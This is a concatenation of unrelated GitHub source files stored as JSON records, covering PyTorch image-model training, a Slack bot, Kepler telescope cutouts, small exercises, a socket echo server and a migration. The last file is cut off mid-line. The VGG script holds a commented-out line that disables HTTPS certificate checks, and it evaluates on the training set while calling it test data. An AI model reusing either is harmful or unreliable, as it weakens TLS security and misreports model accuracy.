0.225])\n self.base_model = base_model\n\n def forward(self, imgs):\n norm_imgs = self.norm_layer(imgs)\n raw_preds = self.base_model(norm_imgs)\n\n return raw_preds\n\n\ndef set_parameter_requires_grad(model, feature_extracting):\n if feature_extracting:\n for param in model.parameters():\n param.requires_grad = False\n\n\ndef initialize_model(model_name, num_classes, feature_extract, use_pretrained=True):\n # Initialize these variables which will be set in this if statement. Each of these\n # variables is model specific.\n model_ft = None\n input_size = 0\n\n if model_name == \"resnet\":\n \"\"\" Resnet18\n \"\"\"\n model_ft = torchvision.models.resnet18(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.fc.in_features\n # I changed this\n model_ft.fc = torch.nn.Identity()\n input_size = 224\n\n elif model_name == \"alexnet\":\n \"\"\" Alexnet\n \"\"\"\n model_ft = torchvision.models.alexnet(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.classifier[6].in_features\n model_ft.classifier[6] = torch.nn.Linear(num_ftrs,num_classes)\n input_size = 224\n\n elif model_name == \"vgg\":\n \"\"\" VGG11_bn\n \"\"\"\n model_ft = torchvision.models.vgg11_bn(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.classifier[6].in_features\n model_ft.classifier[6] = torch.nn.Identity()\n input_size = 224\n\n elif model_name == \"squeezenet\":\n \"\"\" Squeezenet\n \"\"\"\n model_ft = torchvision.models.squeezenet1_0(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n model_ft.classifier[1] = torch.nn.Conv2d(512, num_classes, kernel_size=(1,1), stride=(1,1))\n model_ft.num_classes = num_classes\n input_size = 224\n\n elif model_name == \"densenet\":\n \"\"\" Densenet\n \"\"\"\n model_ft = torchvision.models.densenet121(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.classifier.in_features\n model_ft.classifier = torch.nn.Linear(num_ftrs, num_classes)\n input_size = 224\n\n elif model_name == \"inception\":\n \"\"\" Inception v3\n Be careful, expects (299,299) sized images and has auxiliary output\n \"\"\"\n model_ft = torchvision.models.inception_v3(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n # Handle the auxilary net\n num_ftrs = model_ft.AuxLogits.fc.in_features\n model_ft.AuxLogits.fc = torch.nn.Linear(num_ftrs, num_classes)\n # Handle the primary net\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = torch.nn.Linear(num_ftrs,num_classes)\n input_size = 299\n\n else:\n print(\"Invalid model name, exiting...\")\n exit()\n\n return model_ft, input_size\n\n\ndef training_loop_w_pretrain(data_fname, labels_fname, epochs, model):\n samples = np.load(data_fname)\n labels = np.load(labels_fname)\n\n samples = samples / 255.0\n\n p = np.random.permutation(len(samples))\n\n samples = samples[p]\n labels = labels[p]\n\n train_test_split = int(samples.shape[0]*0.9)\n\n train = []\n for i in range(train_test_split):\n train.append([samples[i], labels[i]])\n\n test = []\n for i in range(train_test_split, len(samples)):\n test.append([samples[i], labels[i]])\n\n batch_size = 16\n learning_rate = 0.005\n\n loss = torch.nn.CrossEntropyLoss()\n optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate, weight_decay=0.005, momentum=0.9)\n acc = MulticlassAccuracy(num_classes=5)\n\n train_loader = torch.utils.data.DataLoader(dataset=train,\n batch_size=batch_size,\n shuffle=True)\n\n test_loader = torch.utils.data.DataLoader(dataset=train,\n batch_size=batch_size,\n shuffle=True)\n\n test_accs = []\n\n for epoch in tqdm(range(epochs)):\n model.train()\n for imgs, labels in train_loader:\n imgs = imgs.type(torch.float32)\n\n imgs = torch.swapaxes(imgs, 1, 3)\n pred = model(imgs)\n\n l = loss(pred, labels)\n\n optimizer.zero_grad()\n l.backward()\n optimizer.step()\n\n model.eval()\n i = 0\n epoch_acc = 0\n for imgs, labels in test_loader:\n imgs = imgs.type(torch.float32)\n imgs = torch.swapaxes(imgs, 1, 3)\n pred = torch.argmax(model(imgs), dim=1)\n\n batch_acc = acc(pred, labels)\n epoch_acc += batch_acc.item()\n i += 1\n\n test_accs.append(epoch_acc/i)\n print(epoch_acc/i)\n optimizer.zero_grad()\n\n return test_accs, model\n\n\ndef featurize(data_fname, model, n_features):\n samples = np.load(data_fname)\n\n samples = samples / 255.0\n\n dataset = []\n for i in range(len(samples)):\n dataset.append([samples[i]])\n\n batch_size = 1\n\n data_loader = torch.utils.data.DataLoader(dataset=dataset,\n batch_size=batch_size,\n shuffle=False)\n\n feat_imgs = np.empty((batch_size, n_features))\n flag = True\n\n for imgs in tqdm(data_loader):\n imgs = imgs[0].type(torch.float32)\n\n imgs = torch.swapaxes(imgs, 1, 3)\n pred = model(imgs)\n\n if flag:\n feat_imgs = pred.detach().numpy()\n flag = False\n else:\n feat_imgs = np.vstack((feat_imgs, pred.detach().numpy()))\n\n return feat_imgs\n\n\n# ssl._create_default_https_context = ssl._create_unverified_context\n# base_model, _ = initialize_model('vgg', 5, False)\n#\n# model = FeaturizeModel(base_model)\n# feat_imgs = featurize('processed_data/folk.npy', model, 4096)\n#\n# np.save('featurized_data/folk.npy', feat_imgs)\n\n#\n# model = AgnosticModel(base_model)\n#\n# for i in range(1, 5):\n# test_accs, model = training_loop_w_pretrain('batched_data/b%i.npy' % i, 'batched_data/labels.npy', 10, model)\n#\n# filehandler = open('resnet_trained.obj', 'wb')\n# pickle.dump(model, filehandler)\n","repo_name":"psimps21/10615Project2","sub_path":"vgg_model.py","file_name":"vgg_model.py","file_ext":"py","file_size_in_byte":7451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"29729787725","text":"import os\nimport logging\n\nfrom flask import Flask\nfrom slack import WebClient\nfrom slackeventsapi import SlackEventAdapter\n\nfrom ratgodbot import RatGodBot\n\napp = Flask(__name__)\n\nslack_events_adapter = SlackEventAdapter(os.environ.get(\"SLACK_EVENTS_TOKEN\"), \"/slack/events\", app)\n\nslack_web_client = WebClient(token=os.environ.get(\"SLACK_TOKEN\"))\n\ndef flip_coin(channel):\n\n ratbot = RatGodBot(channel)\n\n message = ratbot.get_message_payload()\n\n slack_web_client.chat_postMessage(**message)\n\n@slack_events_adapter.on(\"message\")\ndef message(payload):\n event = payload.get(\"event\", {})\n text = event.get(\"text\")\n\n if \"something\" in text.lower():\n channel_id = event.get(\"channel\")\n\n return flip_coin(channel_id)\n\nif __name__ == \"__main__\":\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(logging.StreamHandler())\n\n app.run(host='0.0.0.0', port=5555)","repo_name":"meistermuka/ratgod","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72874018146","text":"import numpy as np\nfrom astropy.io import fits as pyfits\nfrom astropy import wcs\nimport lightkurve as lk\nimport os, sys\n\ndef getflux(fname):\n hdulist = pyfits.open(fname)\n table = hdulist[1].data\n flux = table['FLUX']\n hdulist.close()\n return flux\n\ndef cutout(kic, q, sfilepath, cluster, ra, dec, cutoutdims):\n\n # for opening files\n suffixes = {0:2009131105131, 1:2009166043257, 2:2009259160929, 3:2009350155506, 4:2010078095331, 5:2010174085026, 6:2010265121752, 7:2010355172524, 8:2011073133259, 9:2011177032512, 10:2011271113734, 11:2012004120508, 12:2012088054726, 13:2012179063303, 14:2012277125453, 15:2013011073258, 16:2013098041711, 17:2013131215648}\n\n workingdir = os.getcwd()\n os.chdir(sfilepath) # directory containing superstamps\n\n # get cutout\n serialnumber = 0\n target_x = 0\n target_y = 0\n skip = False\n if cluster == 6791:\n searchrange = np.arange(25,45)\n elif cluster == 6819:\n searchrange = np.arange(45,65)\n for j in searchrange:\n tempfname = f'kplr1000009{j}-{suffixes[q]}_lpd-targ.fits'\n hdulist_temp = pyfits.open(tempfname)\n hd1 = hdulist_temp[1].header\n hd2 = hdulist_temp[2].header\n wtemp = wcs.WCS(hd1, keysel=['binary'])\n x_max = hd2['NAXIS1']-0.5\n y_max = hd2['NAXIS2']-0.5\n target_x, target_y = wtemp.wcs_world2pix(ra, dec, 0)\n if target_x > -0.5 and target_x <= x_max and target_y > -0.5 and target_y <= y_max:\n serialnumber = j\n hdulist_temp.close()\n break\n else:\n continue\n if serialnumber == 0:\n skip = True\n # print(f'KIC {kic} is not available in quarter {q}')\n\n if skip == False:\n fname = f'kplr1000009{serialnumber}-{suffixes[q]}_lpd-targ.fits'\n hdulist1 = pyfits.open(fname)\n parameters = hdulist1[0].header\n # kic = parameters['KEPLERID']\n channel = parameters['CHANNEL']\n table = hdulist1[1].data\n flux_full = table['FLUX']\n time1 = table['TIME']\n cadence = table['CADENCENO']\n qual = table['QUALITY']\n # xmotion = table['POS_CORR1'] # unused\n # ymotion = table['POS_CORR2']\n hd1 = hdulist1[1].header\n w = wcs.WCS(hd1, keysel=['binary'])\n fitslist_p = {'TELESCOP':(hd1['TELESCOP'], 'telescope'), 'INSTRUME':(hd1['INSTRUME'], 'detector type'), 'DATE-BEG':(hd1['DATE-OBS'][:-1], 'start of observation as UTC calendar date'), 'DATE-END':(hd1['DATE-END'][:-1], 'end of observation as UTC calendar date'), 'TIMESYS':(hd1['TIMESYS'], 'time system is barycentric JD'), 'TSTART':(hd1['TSTART']+hd1['BJDREFI'], 'observation start time in BJD'), 'TSTOP':(hd1['TSTOP']+hd1['BJDREFI'], 'observation stop time in BJD'), 'TELAPSE':(hd1['TELAPSE'], '[d] time elapsed between start and end of observation'), 'EXPOSURE':(hd1['EXPOSURE'], '[d] total time on source')} # 'BJDREF':(hd1['BJDREFI'], 'BJD reference date'), \n hd2 = hdulist1[2].header\n xdim = hd2['NAXIS1']\n ydim = hd2['NAXIS2']\n # refx = hd2['CRPIX1'] # unused\n # refy = hd2['CRPIX2']\n # refra = hd2['CRVAL1']\n # refdec = hd2['CRVAL2']\n hdulist1.close()\n\n if (channel%2) == 0:\n eo = 0\n else:\n eo = 1\n\n fulldim = cutoutdims*2-1\n flux1 = np.zeros((len(time1),fulldim,fulldim))\n pointmask = np.zeros((fulldim,fulldim))\n x = int(np.round(target_x))\n y = int(np.round(target_y))\n r = 0\n l = 0\n b = 0\n t = 0\n bolster_r = 0\n bolster_l = 0\n bolster_b = 0\n bolster_t = 0\n\n # check what adjustments need doing and whether they can be done\n\n if cluster == 6819:\n serialnumber -= 20\n\n if xdim-0.5-target_x < cutoutdims: # right edge\n r += 1\n if serialnumber >= 25 and serialnumber <= 34: # right edge, no can do\n missing = int(cutoutdims - (xdim - x))\n # print(f'postage stamp deformed, missing {missing} pixels in the x direction')\n r -= 1\n bolster_r += missing\n # elif np.abs(-0.5-target_x) < cutoutdims-1: # left edge\n if target_x - cutoutdims < -0.5:\n l += 1\n if serialnumber >= 35 and serialnumber <= 44: # left edge, no can do\n missing = int(cutoutdims - np.abs(-1 - x))\n # print(f'postage stamp deformed, missing {missing} pixels in the x direction')\n l -= 1\n bolster_l += missing\n if ydim-0.5-target_y < cutoutdims: # bottom edge\n b += 1\n if serialnumber == 34 or serialnumber == 44: # bottom edge, no can do\n missing = int(cutoutdims - (ydim - y))\n # print(f'postage stamp deformed, missing {missing} pixels in the y direction')\n b -= 1\n bolster_b += missing\n if np.abs(-0.5-target_y) < cutoutdims-1: # top edge\n t += 1\n if serialnumber == 35 or serialnumber == 25: # top edge, no can do\n missing = int(cutoutdims - np.abs(-1 - y))\n # print(f'postage stamp deformed, missing {missing} pixels in the y direction')\n t -=1\n bolster_t += missing\n\n # then, do whatever adjustments can be done\n if cluster == 6819:\n serialnumber += 20\n\n if r == 1 and b == 1:\n missingx = int(cutoutdims - (xdim - x))\n missingy = int(cutoutdims - (ydim - y))\n # print('postage stamp deformed, missing', missingx, 'pixels in the x direction')\n # print('postage stamp deformed, missing', missingy, 'pixels in the y direction')\n flux_r = getflux(f'kplr1000009{serialnumber-10}-{suffixes[q]}_lpd-targ.fits')\n flux_b = getflux(f'kplr1000009{serialnumber+1}-{suffixes[q]}_lpd-targ.fits')\n flux_c = getflux(f'kplr1000009{serialnumber-9}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, :(cutoutdims*2-1)-missingy, :(cutoutdims*2-1)-missingx] = flux_full[:, ydim-((cutoutdims*2-1)-missingy):ydim, xdim-((cutoutdims*2-1)-missingx):xdim]\n flux1[:, :(cutoutdims*2-1)-missingy, (cutoutdims*2-1)-missingx:] = flux_r[:, ydim-((cutoutdims*2-1)-missingy):ydim, 0:missingx]\n flux1[:, (cutoutdims*2-1)-missingy:, :(cutoutdims*2-1)-missingx] = flux_b[:, 0:missingy, xdim-((cutoutdims*2-1)-missingx):xdim]\n flux1[:, (cutoutdims*2-1)-missingy:, (cutoutdims*2-1)-missingx:] = flux_c[:, 0:missingy, 0:missingx]\n elif l == 1 and b == 1:\n missingx = int(cutoutdims - np.abs(-1 - x))\n missingy = int(cutoutdims - (ydim - y))\n # print('postage stamp deformed, missing', missingx, 'pixels in the x direction')\n # print('postage stamp deformed, missing', missingy, 'pixels in the y direction')\n flux_l = getflux(f'kplr1000009{serialnumber+10}-{suffixes[q]}_lpd-targ.fits')\n flux_b = getflux(f'kplr1000009{serialnumber+1}-{suffixes[q]}_lpd-targ.fits')\n flux_c = getflux(f'kplr1000009{serialnumber+11}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, :(cutoutdims*2-1)-missingy, missingx:] = flux_full[:, ydim-((cutoutdims*2-1)-missingy):ydim, 0:(cutoutdims*2-1)-missingx]\n flux1[:, :(cutoutdims*2-1)-missingy, :missingx] = flux_l[:, ydim-((cutoutdims*2-1)-missingy):ydim, xdim-missingx:xdim]\n flux1[:, (cutoutdims*2-1)-missingy:, :missingx] = flux_b[:, 0:missingy, 0:missingx]\n flux1[:, (cutoutdims*2-1)-missingy:, missingx:] = flux_c[:, 0:missingy, xdim-((cutoutdims*2-1)-missingx):xdim]\n elif r == 1 and t == 1:\n missingx = int(cutoutdims - (xdim - x))\n missingy = int(cutoutdims - np.abs(-1 - y))\n # print('postage stamp deformed, missing', missingx, 'pixels in the x direction')\n # print('postage stamp deformed, missing', missingy, 'pixels in the y direction')\n flux_r = getflux(f'kplr1000009{serialnumber-10}-{suffixes[q]}_lpd-targ.fits')\n flux_t = getflux(f'kplr1000009{serialnumber-1}-{suffixes[q]}_lpd-targ.fits')\n flux_c = getflux(f'kplr1000009{serialnumber-11}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, missingy:, :(cutoutdims*2-1)-missingx] = flux_full[:, ydim-((cutoutdims*2-1)-missingy):ydim, xdim-((cutoutdims*2-1)-missingx):xdim]\n flux1[:, missingy:, (cutoutdims*2-1)-missingx:] = flux_r[:, ydim-((cutoutdims*2-1)-missingy):ydim, 0:missingx]\n flux1[:, :missingy, :(cutoutdims*2-1)-missingx] = flux_t[:, ydim-missingy:ydim, xdim-((cutoutdims*2-1)-missingx):xdim]\n flux1[:, :missingy, (cutoutdims*2-1)-missingx:] = flux_c[:, ydim-missingy:ydim, 0:missingx]\n elif l == 1 and t == 1:\n missingx = int(cutoutdims - np.abs(-1 - x))\n missingy = int(cutoutdims - np.abs(-1 - y))\n # print('postage stamp deformed, missing', missingx, 'pixels in the x direction')\n # print('postage stamp deformed, missing', missingy, 'pixels in the y direction')\n flux_l = getflux(f'kplr1000009{serialnumber+10}-{suffixes[q]}_lpd-targ.fits')\n flux_t = getflux(f'kplr1000009{serialnumber-1}-{suffixes[q]}_lpd-targ.fits')\n flux_c = getflux(f'kplr1000009{serialnumber+9}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, missingy:, missingx:] = flux_full[:, ydim-((cutoutdims*2-1)-missingy):ydim, xdim-((cutoutdims*2-1)-missingx):xdim] # 4 main\n flux1[:, missingy:, :missingx] = flux_l[:, ydim-((cutoutdims*2-1)-missingy):ydim, xdim-missingx:xdim]\n flux1[:, :missingy, missingx:] = flux_t[:, ydim-missingy:ydim, xdim-((cutoutdims*2-1)-missingx):xdim]\n flux1[:, :missingy, :missingx] = flux_c[:, ydim-missingy:ydim, xdim-missingx:xdim]\n elif r == 1: # right edge\n missing = int(cutoutdims - (xdim - x))\n # print('postage stamp deformed, missing', missing, 'pixels in the x direction')\n flux_r = getflux(f'kplr1000009{serialnumber-10}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, bolster_t:(cutoutdims*2-1)-bolster_b, :(cutoutdims*2-1)-missing] = flux_full[:, y-cutoutdims+1+bolster_t:y+cutoutdims-bolster_b, xdim-((cutoutdims*2-1)-missing):xdim]\n flux1[:, bolster_t:(cutoutdims*2-1)-bolster_b, (cutoutdims*2-1)-missing:] = flux_r[:, y-cutoutdims+1+bolster_t:y+cutoutdims-bolster_b, 0:missing]\n elif l == 1: # left edge\n missing = int(cutoutdims - np.abs(-1 - x))\n # print('postage stamp deformed, missing', missing, 'pixels in the x direction')\n flux_l = getflux(f'kplr1000009{serialnumber+10}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, bolster_t:(cutoutdims*2-1)-bolster_b, missing:] = flux_full[:, y-cutoutdims+1+bolster_t:y+cutoutdims-bolster_b, 0:(cutoutdims*2-1)-missing]\n flux1[:, bolster_t:(cutoutdims*2-1)-bolster_b, :missing] = flux_l[:, y-cutoutdims+1+bolster_t:y+cutoutdims-bolster_b, xdim-missing:xdim]\n elif b == 1: # bottom edge\n missing = int(cutoutdims - (ydim - y))\n # print('postage stamp deformed, missing', missing, 'pixels in the y direction')\n flux_b = getflux(f'kplr1000009{serialnumber+1}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, :(cutoutdims*2-1)-missing, bolster_l:(cutoutdims*2-1)-bolster_r] = flux_full[:, ydim-((cutoutdims*2-1)-missing):ydim, x-cutoutdims+1+bolster_l:x+cutoutdims-bolster_r]\n flux1[:, (cutoutdims*2-1)-missing:, bolster_l:(cutoutdims*2-1)-bolster_r] = flux_b[:, 0:missing, x-cutoutdims+1+bolster_l:x+cutoutdims-bolster_r]\n elif t == 1: # top edge\n missing = int(cutoutdims - np.abs(-1 - y))\n # print('postage stamp deformed, missing', missing, 'pixels in the y direction')\n flux_t = getflux(f'kplr1000009{serialnumber-1}-{suffixes[q]}_lpd-targ.fits')\n flux1[:, missing:, bolster_l:(cutoutdims*2-1)-bolster_r] = flux_full[:, 0:(cutoutdims*2-1)-missing, x-cutoutdims+1+bolster_l:x+cutoutdims-bolster_r] # here flux_3 is main\n flux1[:, :missing, bolster_l:(cutoutdims*2-1)-bolster_r] = flux_t[:, ydim-missing:ydim, x-cutoutdims+1+bolster_l:x+cutoutdims-bolster_r]\n else:\n flux1[:, bolster_t:(cutoutdims*2-1)-bolster_b, bolster_l:(cutoutdims*2-1)-bolster_r] = flux_full[:, y-cutoutdims+1+bolster_t:y+cutoutdims-bolster_b, x-cutoutdims+1+bolster_l:x+cutoutdims-bolster_r]\n\n # Remove all manually excluded cadences, e.g. the CMEs in quarter 12\n qual_decode = [lk.KeplerQualityFlags.decode(i) for i in qual]\n flux1 = np.asarray([i for i, j in zip(flux1, qual_decode) if 'Manual exclude' not in j])\n time1 = np.asarray([i for i, j in zip(time1, qual_decode) if 'Manual exclude' not in j])\n cadence = np.asarray([i for i, j in zip(cadence, qual_decode) if 'Manual exclude' not in j])\n\n else:\n flux1 = 0\n time1 = 0\n eo = 0\n w = 0\n cadence = 0\n qual = 0\n fitslist_p = 0\n\n os.chdir(workingdir)\n\n return skip, flux1, time1, eo, w, cadence, fitslist_p","repo_name":"astrobel/kepler_iris","sub_path":"cutouts.py","file_name":"cutouts.py","file_ext":"py","file_size_in_byte":13126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31917338840","text":"\"\"\"\r\nCrea un algoritmo que sirva para resolver ecuaciones de segundo grado del tipo:\r\nax2+bx+c=0 Vamos a suponer que a,b y c no van a ser cero nunca.\r\n\"\"\"\r\n# The math module supplies mathematical functions on floating-point numbers, while the cmath module supplies equivalent\r\n# functions on complex numbers. For example, math.sqrt(-1) raises an exception, but cmath.sqrt(-1) returns 1j.\r\n# cmath es mas complejo que math. En el caso de intentar hacer la raiz cuadrada de un numero negativo, con math te\r\n# salta una excepcion, mientras con cmath de devuelve xj\r\nimport cmath\r\n\r\na = float(input(\"A: \"))\r\nb = float(input(\"B: \"))\r\nc = float(input(\"C: \"))\r\nprint(\"x1:\", (-b - cmath.sqrt((b ** 2) - (4 * a * c))) / (2 * a))\r\nprint(\"x2:\", (-b + cmath.sqrt((b ** 2) - (4 * a * c))) / (2 * a))\r\n","repo_name":"elliotmc02/Programacion","sub_path":"Python/Variables y Operadores/E10.py","file_name":"E10.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9459152846","text":"from base64 import encode\nfrom webbrowser import get\n\n'''\nThe Echo server below sends back the received character to the client\n'''\n\nimport socket\n\nHOST = \"192.168.0.110\" # The server's IP address\nPORT = 15400 # The port used by the server\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((HOST, PORT))\n s.listen()\n\n print(\"Start\")\n conn, addr = s.accept()\n print(f\"Connected by {addr}\")\n\n with conn:\n end = 0\n while(not end):\n data = conn.recv(16*1024)\n print(\"\\nThe received data: \", data.decode(),\"\\n\")\n conn.send(data)\n","repo_name":"prodsp/WizNET-W5500-Driver","sub_path":"Examples/Python Server Codes/Example_Echo_Server.py","file_name":"Example_Echo_Server.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"36374378325","text":"def find_triplets(the_list, length): \n\n\tcheck_validity = True\n \n\tfor i in range(0, length - 2): \n\t\tfor j in range(i + 1, length - 1): \n\t\t\tfor k in range(j + 1, length): \n\n\t\t\t\tif (the_list[i] + the_list[j] + the_list[k] == 0): \n\t\t\t\t\tprint(the_list[i], the_list[j], the_list[k]) \n\t\t\t\t\tcheck_validity = True\n\t\n\tif (check_validity == False): \n\t\tprint(\"No answer.\") \n\n\ninputs = list(map(int, input().rstrip().split()))\nfind_triplets(inputs, len(inputs))\n","repo_name":"Muntaha-Islam0019/CSE419","sub_path":"Final/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38941262401","text":"\"\"\"add_new_user_fields\n\nRevision ID: d8bbf1011c96\nRevises: 25ccdb2c33f8\nCreate Date: 2023-02-18 19:57:30.756497\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"d8bbf1011c96\"\ndown_revision = \"25ccdb2c33f8\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\"user\", sa.Column(\"first_name\", sa.String(length=31), nullable=True))\n op.add_column(\"user\", sa.Column(\"last_name\", sa.String(length=31), nullable=True))\n op.add_column(\n \"user\", sa.Column(\"phone_number\", sa.String(length=15), nullable=True)\n )\n op.add_column(\n \"user\",\n sa.Column(\n \"can_be_dinner_host\", sa.Boolean(), server_default=\"f\", nullable=False\n ),\n )\n op.add_column(\"user\", sa.Column(\"address\", sa.String(length=127), nullable=True))\n op.add_column(\n \"user\", sa.Column(\"is_staff\", sa.Boolean(), server_default=\"f\", nullable=False)\n )\n op.drop_constraint(\"user_email_key\", \"user\", type_=\"unique\")\n op.create_index(op.f(\"ix_user_email\"), \"user\", [\"email\"], unique=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f(\"ix_user_email\"), table_name=\"user\")\n op.create_unique_constraint(\"user_email_key\", \"user\", [\"email\"])\n op.drop_column(\"user\", \"is_staff\")\n op.drop_column(\"user\", \"address\")\n op.drop_column(\"user\", \"can_be_dinner_host\")\n op.drop_column(\"user\", \"phone_number\")\n op.drop_column(\"user\", \"last_name\")\n op.drop_column(\"user\", \"first_name\")\n # ### end Alembic commands ###\n","repo_name":"laricko/what-cook","sub_path":"src/alembic/versions/d8bbf1011c96_add_new_user_fields.py","file_name":"d8bbf1011c96_add_new_user_fields.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"24464941245","text":"# r is read mode\nfile = open(\"Session11E.py\", \"r\")\n# file1 = open(\"Session11D.py\", \"r\")\nprint(type(file))\n\n# read will read entire file !!\n# fileContents = file.read()\n\n# read till mentioned size\n# fileContents = file.read(100)\n# print(fileContents)\n\n# print(\">> Reading Remaining File <<\")\n\n# Remaining data in file will be read from here onwards\n# fileContents = file.read()\n# print(fileContents)\n\n# print(\"Re-Reading File:\")\n#\n# fileContentsAgain = file.read()\n# print(fileContentsAgain)\n\n# Read Single Line\n# line = file.readline()\n# print(line)\n\n# Reads the file as in all the lines !!\nlines = file.readlines()\n\nfor line in lines:\n print(\">>\", line)\n\n# to release memory resources !!\nfile.close()\n","repo_name":"ishantk/PythonEdurekaDec14","sub_path":"venv/Session11F.py","file_name":"Session11F.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16945323393","text":"class linear_trend_tracker():\n \"\"\" linear trend tracker with adaptive forgetting factor\n \"\"\" \n\n def __init__(self,halflife=70,int_err_halflife=5, K_int_err=10, a0=1, b0=0):\n self.alpha=np.exp(np.log(.5)/halflife) if halflife else .99\n self.warmup_weight= (1-self.alpha**20)/(1-self.alpha); # >20 points for warmup\n self.N=0\n if int_err_halflife is None and halflife:\n int_err_halflife = max(halflife/100,1) \n self.int_err_alpha = np.exp(np.log(.5)/int_err_halflife) if int_err_halflife else .999\n self.K_int_err = K_int_err\n self.a0 = a0\n self.b0 = b0\n\n def reset(self, keep_err=False, keep_model=False):\n self.N = 0\n self.X0 = None\n self.Y0 = None\n self.sX = 0\n self.sY = 0\n self.sXX = 0\n self.sYX = 0\n self.sYY = 0\n if not keep_model:\n self.a=self.a0\n self.b=self.b0\n if not keep_err:\n self.int_err = 0\n self.abs_err=0\n self.int_err_N = 0\n\n def fit(self,X,Y,keep_err=False):\n self.reset(keep_err)\n if hasattr(X,'__iter__'):\n self.N = len(X)\n self.X0=X[0,...] \n self.Y0=Y[0,...] \n if len(X)>1 :\n self.transform(X[1:,...],Y[1:,...])\n else:\n self.N = 1\n self.X0 = X\n self.Y0 = Y\n self.a = self.a0\n self.b = self.Y0 - self.a * self.X0\n\n def transform(self,X,Y):\n if self.N==0:\n self.fit(X,Y)\n return Y\n\n #if np.all(X==self.Xlast) or np.all(Y==self.Ylast):\n # return self.getY(X)\n # get our prediction for this point and use to track our prediction error\n Yest = self.getY(X)\n err = np.mean(np.abs(Y-Yest))\n \n ## center x/y\n # N.B. be sure to do all the analysis in floating point to avoid overflow\n cX = np.array(X - self.X0, dtype=float)\n cY = np.array(Y - self.Y0, dtype=float)\n N = len(X) if hasattr(X,'__iter__') else 1\n # update the 1st and 2nd order summary statistics \n wght = self.alpha**N\n # adaptive learning rate as function of integerated error\n if self.N > self.warmup_weight:\n ptwght = max(1, abs(self.int_err/self.int_err_N)*self.K_int_err) #1/max(1,err) if self.N > self.warmup_weight else 1\n else:\n ptwght = 1\n # adaptive learning rate as a function of the direction of the error...\n #if err < 0:\n # ptwght = ptwght*.1\n self.N = wght*self.N + ptwght*N\n self.sY = wght*self.sY + ptwght*np.sum(cY,axis=0)\n self.sX = wght*self.sX + ptwght*np.sum(cX,axis=0)\n self.sYY= wght*self.sYY + ptwght*np.sum(cY*cY,axis=0)\n self.sYX= wght*self.sYX + ptwght*np.sum(cY*cX,axis=0)\n self.sXX= wght*self.sXX + ptwght*np.sum(cX*cX,axis=0)\n\n # update the slope when warmed up\n if self.N > self.warmup_weight:\n Yvar = self.sYY - self.sY * self.sY / self.N\n Xvar = self.sXX - self.sX * self.sX / self.N\n YXvar = self.sYX - self.sY * self.sX / self.N\n self.a = (YXvar / Xvar + Yvar/YXvar )/2 \n # update the bias given the estimated slope b = mu_y - a * mu_x\n # being sure to include the shift to the origin!\n self.b = (self.Y0 + self.sY / self.N) - self.a * (self.X0 + self.sX / self.N)\n\n # check for steps in the inputs\n # get our prediction for this point and use to track our prediction error\n Yest = self.getY(X)\n err = np.mean(Y-Yest)\n\n # track the prediction error, with long and short half-life\n self.abs_err = self.abs_err*wght + abs(err)\n # track with step window\n int_err_wght = self.int_err_alpha**N\n self.int_err_N = self.int_err_N * int_err_wght + N\n self.int_err = self.int_err*int_err_wght + err\n\n # only return the estimate if we've warmed up the tracker\n if self.N < self.warmup_weight:\n return Y\n\n # detect change in statistics by significant difference in error statistics\n # between long and short halflife\n #if (self.step_err / self.step_N) > (self.err / self.N) * self.step_threshold:\n # print(\"step-detected\")\n # #self.fit(X,Y,keep_err=True)\n # #Yest = Y\n\n return Yest\n\n def getX(self,y):\n return ( y - self.b ) / self.a \n\n def getY(self,x):\n return self.a * x + self.b\n\n @staticmethod\n def testcase():\n X = np.arange(1000) + np.random.randn(1)*1e6\n a = 1000/50 \n b = 1000*np.random.randn(1)\n Ytrue= a*X+b\n Y = Ytrue+ np.random.standard_normal(Ytrue.shape)*10\n\n import glob\n import os\n files = glob.glob(os.path.join(os.path.dirname(os.path.abspath(__file__)),'../../logs/mindaffectBCI*.txt')) # * means all if need specific format then *.csv\n savefile = max(files, key=os.path.getctime)\n #savefile = 